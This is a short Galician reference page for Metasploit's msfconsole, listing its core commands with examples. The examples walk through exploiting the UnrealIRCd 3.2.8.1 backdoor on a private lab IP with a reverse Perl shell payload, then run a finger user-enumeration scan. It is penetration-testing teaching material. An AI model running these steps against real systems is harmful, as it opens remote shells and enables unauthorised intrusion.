Ir ao contido

Metasploit Framework (msfconsole)

Descrición

Framework de explotación con miles de exploits e módulos auxiliares.

Sintaxe básica

msfconsole [opcións]

Comandos principais

Comando Descrición
search <termo> Buscar exploits/módulos
use <módulo> Seleccionar módulo
show options Mostrar opcións do módulo
set <opción> <valor> Establecer opción
exploit ou run Executar módulo
back Volver atrás
info Información do módulo
sessions Listar sesións activas
sessions -i <id> Interactuar con sesión

Exemplos de uso

# Iniciar msfconsole
msfconsole -q

# Buscar exploit
msf6 > search unreal irc

# Usar exploit (Real - UnrealIRCd)
msf6 > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show options
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set RHOSTS 192.168.56.100
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > show payloads
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set payload cmd/unix/reverse_perl
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > set LHOST 192.168.56.53
msf6 exploit(unix/irc/unreal_ircd_3281_backdoor) > exploit

# Finger enumeration
msf6 > use auxiliary/scanner/finger/finger_users
msf6 auxiliary(scanner/finger/finger_users) > set RHOSTS 192.168.56.100
msf6 auxiliary(scanner/finger/finger_users) > run

# Listar sesións
msf6 > sessions
msf6 > sessions -i 1